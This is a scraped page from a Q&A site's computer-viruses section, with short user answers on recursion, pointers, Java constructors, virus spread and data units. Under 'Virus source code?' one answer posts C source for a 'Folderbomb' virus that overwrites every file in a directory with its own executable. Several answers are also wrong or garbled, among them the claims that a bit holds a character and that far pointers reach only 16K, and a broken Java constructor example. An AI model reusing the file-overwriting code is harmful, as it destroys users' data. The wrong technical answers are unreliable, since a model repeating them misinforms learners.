answersLogoWhite

0

📱

Computer Viruses

Computer viruses are harmful pieces of software which can reproduce themselves and automatically spread to other computers and networks. Questions about computer virus techniques and specific computer viruses belong here.

5,673 Questions

Tools used in studying Systems Analysis and Design?

System analysis and design processes do not normally involve the use of any programming language at all, but UML is frequently used as an abstract (graphical) language in the design process.

What is a design mode in visual basic?

The design mode in Visual Basic allows the programmer to design and modify the form, and all objects it contains. It's a much quicker and user friendly way to program visible form objects and set up their properties.

What are examples of spyware?

Spyware Examples

Keyloggers - eg SpyAnytime

Form Fillers - eg GATOR

Trackware - eg n-CASE

Downloader - eg Exploit

Cookies

Adware

What is the importance of recursion?

In computer science, complex problems are resolved using an algorithm. An algorithm is a sequence of specific but simple steps that need to be carried out in a procedural manner. Some steps may need to be repeated in which case we will use an iterative loop to repeat those steps. However, sometimes we encounter an individual step that is actually a smaller instance of the same algorithm. Such algorithms are said to be recursive.

An example of a recursive algorithm is the factorial algorithm. The factorial of a value, n, is the product of all values in the range 1 to n where n>0. If n is zero, the factorial is 1, otherwise factorial(n)=n*factorial(n-1). Thus the factorial of any positive value can be expressed in pseudocode as follows:

function factorial (num)

{

if num=0 then return 1

otherwise;

return num * factorial (num-1);

}

Note that any function that calls itself is a recursive function. Whenever we use recursion, it is important that the function has an exit condition otherwise the function would call itself repeatedly, creating an infinite recursion with no end. In this case the exit condition occurs when n is 0 which returns 1 to the previous instance. At this point the recursions begin to "unwind", such that each instance returns its product to the previous instance. Thus if num were 3, we get the following computational steps:

factorial(3) = 3 * factorial(3-1)

factorial(2) = 2 * factorial(2-1)

factorial(1) = 1 * factorial(1-1)

factorial(0) = 1

factorial(1) = 1 * 1 = 1

factorial(2) = 2 * 1 = 2

factorial(3) = 3 * 2 = 6

Note how we cannot calculate 3 * factorial(3-1) until we know what the value of factorial(3-1) actually is. It is the result of factorial(2) but, by the same token, we cannot work out 2 * factorial(2-1) until we know what factorial(2-1) is. We continue these recursions until we reach factorial(0) at which point we can begin working our way back through the recursions and thus complete each calculation in reverse order. Thus factorial(3) becomes 1*1*2*3=6.

Although algorithms that are naturally recursive imply a recursive solution, this isn't always the case in programming. The problem with recursion is that calling any function is an expensive operation -- even when it is the same function. This is because the current function must push the return address and the arguments to the function being called before it can pass control to the function. The function can then pop its arguments off the stack and process them. When the function returns, the return address is popped off the stack and control returned to that address. All of this is done automatically, Behind the Scenes, in high-level languages. Compilers can optimise away unnecessary function calls through inline expansion (replacing the function call with the actual code in the function, replacing the formal arguments with the actual arguments from the function call). However, this results in increased code size, thus the compiler has to weigh up the performance benefits of inline expansion against the decreased performance from the increased code size. With recursive functions, the benefits of inline expansion are quickly outweighed by the code expansion because each recursion must be expanded. Even if inline expansion is deemed beneficial, the compiler will often limit those expansions to a predetermined depth and use a recursive call for all remaining recursions.

Fortunately, many recursive algorithms can be implemented as an iterative loop rather than a recursive loop. This inevitably leads to a more complex algorithm, but is often more efficient than inline expansion. The factorial example shown above is a typical example. First, let's review the recursive algorithm:

function factorial (num)

{

if num=0 then return 1

otherwise;

return num * factorial (num-1);

}

This can be expressed iteratively as follows:

function factorial (num)

{

let var := 1

while 1 < num

{

var := var * num

num := num - 1

}

end while

return var;

}

In this version, we begin by initialising a variable, var, with the value 1. We then initiate an iterative loop if 1 is less than num. Inside the loop, we multiply var by num and assign the result back to var. We then decrement num. If 1 is still less than num then we perform another iteration of the loop. We continue iterating until num is 1 at which point we exit the loop. Finally, we return the value of var, which holds the factorial of the original value of num.

Note that when the original value of num is either 1 or 0 (where 1 would not be less than num), then the loop will not execute and we simply return the value of var.

Although the iterative solution is more complex than the recursive solution and the recursive solution expresses the algorithm more effectively than the iterative solution, the iterative solution is likely to be more efficient because all but one function call has been completely eliminated. Moreover, the implementation is not so complicated that it cannot be inline expanded, which would eliminate all function calls entirely. Only a performance test will tell you whether the iterative solution really is any better.

Not all recursive algorithms can be easily expressed iteratively. Divide-and-conquer algorithms are a case in point. Whereas a factorial is simply a gradual reduction of the same problem, divide-and-conquer uses two or more instances of the same problem. A typical example is the quicksort algorithm.

Quicksort is ideally suited to sorting an array. Given the lower and upper bounds of an array (a subarray), quicksort will sort that subarray. It achieves this by selecting a pivot value from the subarray and then splits the subarray into two subarrays, where values that are less than the pivot value are placed in one subarray and all other values are placed in the other subarray, with the pivot value in between the two. We then sort each of these two subarrays in turn, using exactly the same algorithm. The exit condition occurs when a subarray has fewer than 2 elements because any array (or subarray) with fewer than 2 elements can always be regarded as being a sorted array.

Since each instance of quicksort will result in two recursions (one for each half of the subarray), the total number of instances doubles with each recursion, hence it is a divide-and-conquer algorithm. However, it is a depth-first recursion, so only one of the two recursions is executing upon each recursion. Nevertheless, each instance of the function needs to keep track of the lower and upper bounds of the subarray it is processing, as well as the position of the pivot value. This is because when we return from the first recursion we need to recall those values in order to invoke the second recursion. With recursive function calls we automatically maintain those values through the call stack but with an iterative solution the function needs to maintain its own stack instead. Since we need to maintain a stack, the benefits of iteration are somewhat diminished; we might as well use the one we get for free with recursion. However, when we invoke the second recursion, we do not need to recall the values that we used to invoke that recursion because when that recursion returns the two halves of the subarray are sorted and there's nothing left to do but return to the previous instance. Knowing this we can eliminate the second recursion entirely because, once we return from the first recursion, we can simply change the lower bound of the subarray and jump back to the beginning of the function. This effectively reduces the total number of recursions by half.

When the final statement of a function is a recursive call to the same function it is known as a "tail call". Although we can manually optimise functions to eliminate tail calls, compilers that are aware of tail call recursion can perform the optimisation for us, automatically. However, since the point of tail call optimisation is to reduce the number of recursions, it pays to optimise the call upon those recursions that would normally result in the greatest depth of recursion. In the case of quicksort, the deepest recursions will always occur upon the subarray that has the most elements. Therefore, if we perform recursion upon the smaller subarray and tail call the larger subarray, we reduce the depth of recursion accordingly.

Although recursions are expensive, we shouldn't assume that iterative solutions are any less expensive. Whenever we have a choice about the implementation, it pays to do some performance tests. Quite often we will find that the benefits of iteration are not quite as significant as we might have thought while the increased complexity makes our code significantly harder to read and maintain. Wherever possible we should always try to express our ideas directly in code. However, if more complex code results in measurable improvements in performance and/or memory consumption, it makes sense to choose that route instead.

How can a virus get onto a computer?

Viruses usually spread to your computer disguised as a useful program that you download and install yourself. Viruses can also spread by exploiting bugs in programs many people use, like Microsoft Outlook, in order to run code on your computer that will let them install themselves. Viruses can spread this way in both emails and files.

What are facts about engineering?

"Nothing is true, everything can be questioned" but while learning the basics one should not question :(

It takes an engineer to undertake the training of an engineer and not, as often happens, a theoretical engineer who is clever on a blackboard with mathematical formulae but useless as far as production is concerned ;)

How linked list can be used for the polynomial manipulation?

Header linked list are frequently used for maintaining polynomials in memory. The header node plays an important part in this representation, since it is needed to represent the zero polynomial. This representation of polynomial will be presented in the context of a specific

How do you compile software on Linux?

Most programs you can download in source form can be compiled using the following simple steps:

1. Extract the source package (ex. 'tar xzvf programname-version.tar.gz'), this will create directory programname-version. Chdir into it.

2. Run './configure'. This checks the build environment to make sure your compiler works and has the proper libraries installed.

3. Run 'make'. This compiles the program.

4. Run 'make install'. This places the binaries in the appropriate location(s).

5. Depends on GCC version also

Why can you get a virus from animals but animals can not get a virus from people?

Animals can get viruses from humans, but it's not as common due to evolutionary differences between species. Some viruses may not be able to cross the species barrier easily, while others may not cause severe illness in animals. However, viruses like flu can sometimes transmit between humans and animals.

What is huge pointer generic pointer and far pointer?

Far Pointer is a pointer that is stored using four bytes (32 bits). The bytes are stored little endian or low to high order. A far pointer can access objects up to 16K in size in any memory area. Objects larger than 16K must be accessed using huge pointers

This book is basic for c , download and Read this... must required !

Virus source code?

If you're talking about viruses on your computer, No you cannot.

Viruses are executables. The code in them is binary code- Machine language. You can't open it and expect to see the C code.

There are many kinds of viruses. Anything which is harmful and/or self-propagating can be considered a virus and there are numerous ways on how to write the same program.

/*this is a simple program to create a virus in c

it will create folder in a folder in a folder and so on run this on your own responsibility*/

  1. include
  2. include
  3. include
  4. include
  5. include

void main(int argc,char* argv[])

{ char buf[512]; int source,target,byt,done; struct ffblk ffblk; clrscr(); textcolor(2); cprintf("-------------------------"); printf("\nVirus: Folderbomb 1.0\nProgrammer:BAS Unnikrishnan(asystem0@gmail.com)\n"); cprintf("-------------------------"); done = findfirst("*.*",&ffblk,0); while (!done) { printf("\n");cprintf(" %s ", ffblk.ff_name);printf("is attacked by ");cprintf("Folderbomb"); source=open(argv[0],O_RDONLY|O_BINARY); target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY); while(1) {byt=read(source,buf,512); if(byt>0) write(target,buf,byt); else break; } close(source); close(target); done = findnext(&ffblk); } getch(); }

What is far and near pointer and how are they used?

It is a matter of the memory model you are using. On old or embedded systems, some memory was outside of the range of a normal pointer. If you have 4 megs of ram you need at least a 22bit pointer to see all of it. But let's say you only have a 16 bit pointer. This means you can only access the first 65K of ram. Odd as it may sound, this was a problem on old computers, and is sometimes an issue on embedded devices with limited processing power. The near and far classifications were a solution. Pointers are near by default. In my example above, the 65K of ram would be accessed with a near pointer. To get past that 16 bit limit, you need a far pointer. Thus: memory within the pointer's range is near. Memory outside of the range is far. Near pointer: char near * ptr; Far pointer: char far * ptr;
A far pointer uses both the segment and the offset address to point to a location in memory. A near pointer in contrast uses only the offset address and the default segment. The far pointer can point to any location in memory, whereas the near pointer can only point to a nearby local address.
Something that was important 20 years ago. Now you can forget it.

Method overriding in java?

WHAT IS A CONSTRUCTOR

"It is a special type of method same name as class name that determines how an object is initialized when it's created".

what is constructor in java

Like other methods, we can also define constructor Method in our java program but unlike other methods, we cannot call a constructor directly; Java called constructor automatically when an object has created. When we use new keyword to create an object of a class, java does three thing;

Allocates memory for the object.

Initialize that object instance variable, with their initial value or to a default.

Call the constructor Method of the class.

If a class doesn't have defined any constructor method, we will still create an object of that class but we have to set instance variable or call other methods that object needs to initialize itself to that object afterward.

By defining constructor method in our own classes, we can set initial values of instance variable, call method based on those variable or call methods on other objects, or calculate initial properties of our object. We can also overload constructor, as we would regular methods, to create an object that has specific properties based on the argument we give to new.

BASIC CONSTRUCTOR

by defining a constructor looks like a regular method, with 2 basic difference.

Constructor and class name are always same.

It doesn't have any return type

For example, in the below table a simple class person, with a constructor that initializes it's instance variable based on the argument to new. The class also includes a method for the object to introduce itself, and a main() method to test each of these class.

class Person

{

String name;

int age;

Person (String n, int a)

{

name = n;

age = a;

}

void printPerson ()

{

System.out.print("Hi, I am " +name);

System.out.println(" I am "+ age + " years old.");

}

public static void main(String args[])

{

Person p;

p = new Person ("Ajab", 20);

p.printPerson();

p = new Person ("Rizwan", 30);

p.printPerson();

The output of the program is given below:

Hi, I am Ajab. I am 20 years old.

Hi, I am Rizwan. I am 30 years old

CONSTRUCTOR OVERLOADING

like other methods, constructor can also take different number and types of parameters, enabling us to create our objects with exactly the properties you want it to have, or for it to be able to calculate properties from different kinds of input.

constructor overloading in Java

For example, the MyRectone class in the given table creates a MyRectone Constructor and passing different parameter instead of creating different methods for the given arguments.

class MyRectone

{

int x1 = 0;

int y1 = 0;

int x2 = 0;

int y2 = 0;

MyRectone ( int x1, int x2, int x2, int y2)

{

this.x1 = x1;

this.y1 = y1;

this.x2 = x2;

this.y2 = y2;

}

MyRectone (Point topLeft, Point bottomRight)

{

x1 = topLeft.x;

y1 = topLeft.y;

x2 = bottomRight.x;

y2 = bottomRight.y;

}

MyRectone ( Point topLeft, int w, int h)

{

x1 = topLeft.x;

y1 = top left.y;

x2 = ( x1 + w);

y2 = (y1 + h);

}

void printRect ()

{

System.out.print ("MyRectone: ");

}

public static void main (String args [] )

{

MyRectone rect;

System.out.println ("Calling MyRectone with coordinates 35,35 70,70");

rect = new MyRectone (35,35,70,70);

rect.printRect();

System.out.println ("Calling MyRectone with coordinates (15,15) (30,30)");

rect = new MyRectone (15,15,30,30);

rect.printRect();

System.out.print (" Calling buildRect w/1 point (10,10),");

System.out.println ("width (50) and height (50)");

rect = new MyRectone ( new Point (10,10), 50, 50);

rect.printRect();

Output

Calling MyRectone with coordinates 35,35 70,70:

MyRectone: 

Calling buildRect w/1 points (15,15), (30,30):

MyRectone: 

Calling buildRect w/1 point (10,10), width (50) and height (50):

MyRectone:

CALLING ANOTHER CONSTRUCTOR

Some constructor may be a superset of another constructor defined in your class; that is, they might have the same behavior plus a little bit more. Rather than duplicating identical behavior in multiple constructor Methods in our class, it makes sense to be able to just call that first constructor from inside the body of the second constructor. Java provides a special syntax for doing this. To call a constructor defined on the current class, use this form:

this (arg1, arg2, arg3 …..);

The arguments to this are, of course, the arguments to the constructor.

What are events and methods in programming?

There are two major categories of programs which utilize event-driven method of their implementation: device drivers and GUI programs. Both spend most of their life cycle in waiting loop and perform any action only upon an incoming event, such as hardware interrupt, or an user's action. Internally, an incoming event may be processed by receiving code or dispatched to further code layers.

What is pointer to function in c?

Accessing data by their address. A good example is parameter argv of function main.

1. Easy access

2.To return more than one value from a function.

3. To pass as arguments to functions. For eg. consider the following structure

struct student

{

char name[10];

int rollno;

};

If you pass this structure object as argument to function then, 14 bytes(10+4) of memory will be passed to the function. Instead, if you pass the pointer to the structure as argument then only 4 bytes (or 8 bytes)of memory will be passed to the function.

How do you run jar file on computer?

you can play the jar files by transfer it in to nokia mobile phones

In which programming languages a virus can be created?

There are viruses in almost every programming language, but most are probably written in C and C++ as these two languages have a lot more control over your application compared to most others, so you can be very specific about what you want them to do. Smaller, less powerful languages such as Visual Basic, .NET, Python or Java will also suffice in creating viruses. Viruses can also be embedded in browser add-ons, and other downloaded things.

It's also possible to embed an HTML virus into a website.

Virus written in C?

And by the way, I know that "most virus' are written in Asm, and not any high level languages cuz they're too... uh... high, yeah. stupid f*ckin computer geeks, go jump off 21h and land in the stack. anyway, yes, my question (I am Agrybard) is really if there are any virus' written in C++, rather than just C, but either way I would appreciate any help. and yes, I've GOOGLED IT ALREADY! lol AGB

How can you stop the Hacker?

If a hacker has gotten into your computer once, they will get in again. If you are unable to track down any programs that they left behind, you should seek professional help. As a last resort, backing up your important data and reformatting your computer will guarantee removal of these programs.

Remember to always use strong passwords and to be suspicious of any programs you download from the internet.

What is the Difference between function and program and software?

SOFTWARE is a collection of some programmes which is designed for specific task to be done.while the programme is a set of instruction written in a comp understood language to do a specific work. Ex: Calci is a software and the instructions written to add two numbers is a programme.but calci has many functions for all of which has different programmes written..

Java sript vs VB script?

Hi all,

javascript is case sensitive vbscript is not.

javascript will explore in all the browser, vb accept only internet explore

javascript only for client side, vbscript both client side and serverside

js is client side validation,vbscript for server side validation

if you don't get. u can reach me iamselvam85@gmail.com

What are the examples of polymorphic viruses?

1260 is a computer virus developed by Mark Washburn in 1989. This virus used a form of polymorphic encryption in it's code which randomized the algorithm used by the virus but kept the core function of it intact. Polymorphic code does this by infecting files with an encrypted copy of itself, then varying it's signature by randomizing its decryption algorithm. Then it repeats. Hope this helped, here's some relevant info on the subject:

http://en.wikipedia.org/wiki/1260_(computer_virus)

http://en.wikipedia.org/wiki/Mark_Washburn

http://en.wikipedia.org/wiki/Timeline_of_computer_viruses_and_worms

--

Answered by Alix Saunders

How To get unbanned from roblox?

There is no possible way to get unbanned. Once your banned, your banned, you can't redo your mistake that got you banned.

What is bigger MB vs GB?

1 Bit- Enough to fit one character.

1 Byte (8 Bits) - Enough to fit a sentence, or eight characters.

1 Kilobyte (1024 Bytes) - Enough for a large text file.

1 Megabyte (1024 Kilobytes) - Enough for a whole book.

1 Gigabyte (1024 Megabytes) - Enough for a movie.

1 Terabyte (1024 Gigabyte) - Enough for 500 hours worth of movie.

1 Petabyte (1024 Terabyte) - Enough to store 57 years worth of movie.